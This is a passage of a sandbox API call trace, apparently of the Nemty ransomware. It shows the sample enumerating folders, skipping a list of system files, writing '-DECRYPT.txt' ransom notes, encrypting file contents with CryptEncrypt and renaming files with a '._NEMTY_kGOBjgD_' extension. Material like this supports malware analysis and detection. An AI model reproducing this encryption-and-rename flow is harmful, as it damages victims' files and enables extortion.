[0170.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ahclient.dll", lpUsedDefaultChar=0x0) returned 12 [0170.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ahclient.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ahclient.dll", lpUsedDefaultChar=0x0) returned 12 [0170.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94278 [0170.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.224] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AIR", cAlternateFileName="")) returned 1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2=".") returned 1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="..") returned 1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="...") returned 1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="windows") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="$RECYCLE.BIN") returned 1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="rsa") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="NTDETECT.COM") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="ntldr") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="MSDOS.SYS") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="IO.SYS") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="boot.ini") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="boot.ini") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="AUTOEXEC.BAT") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="ntuser.dat") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="desktop.ini") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="CONFIG.SYS") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="RECYCLER") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="BOOTSECT.BAK") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="bootmgr") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="programdata") returned -1 [0170.224] lstrcmpiW (lpString1="AIR", lpString2="appdata") returned -1 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AIR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AIR", cchWideChar=3, lpMultiByteStr=0x653ef10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AIR", lpUsedDefaultChar=0x0) returned 3 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AIR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AIR", cchWideChar=3, lpMultiByteStr=0x653ef10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AIR", lpUsedDefaultChar=0x0) returned 3 [0170.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0170.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941f0 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0170.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.228] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.228] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0170.229] CloseHandle (hObject=0x1ec) returned 1 [0170.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941f0 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94268 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0170.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.230] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.230] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0170.231] CloseHandle (hObject=0x1ec) returned 1 [0170.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0170.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0170.231] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x191be0b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x191be0b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0170.231] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0170.231] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x191be0b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x191be0b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0170.231] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0170.231] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0170.231] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0170.231] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".") returned 1 [0170.231] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="..") returned 1 [0170.231] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="...") returned 1 [0170.231] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="windows") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="$RECYCLE.BIN") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="rsa") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="NTDETECT.COM") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ntldr") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="MSDOS.SYS") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="IO.SYS") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="boot.ini") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="boot.ini") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ntuser.dat") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="desktop.ini") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="CONFIG.SYS") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="RECYCLER") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="BOOTSECT.BAK") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="bootmgr") returned 1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="programdata") returned -1 [0170.232] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="appdata") returned 1 [0170.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0170.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.233] Sleep (dwMilliseconds=0x5) [0170.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x191e4210, dwHighDateTime=0x1d561e8)) [0170.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x191e4210, dwHighDateTime=0x1d561e8)) [0170.241] GetLastError () returned 0xb7 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.241] GetLastError () returned 0xb7 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.241] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.241] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.241] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.241] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="bLGYlpaEQAe/TPKo0bkyK8VDmSeMnCBtW/H6Y8ECOqKLKadRKW/O8WxnncS3YG8r\r\nd4/jintj2BLFNaFhRTfS+B59VwrL2EBT7UfXQnkp3AeFQIN7C6Zk0nRF1boXYsbP\r\n/xzSFIqAYViQBYjhZ+sOsqIom1rjF3y0p61/lzsBcodTSHmRF85lOLeRCRXyVEc9\r\naZoXB2B0w/1ZCwJjPfuucPap4yw0iB4SUz5Y9MCNS1JRl5cRafE7VKELidpY87ER\r\nqcvmtDP2zZFUXzW/klSx/fi20KL3cxwHa/KzZxYAd2eXcJicZMrno+Hgg+1qXxpQ\r\nfCCPjMerqrF1xx3U0lGoog==\r\n", pcchString=0x653e91c) returned 1 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.243] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.243] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.243] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.245] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.245] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.287] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.288] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.288] CloseHandle (hObject=0x254) returned 1 [0170.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.288] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat._nemty_kgobjgd_")) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.289] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 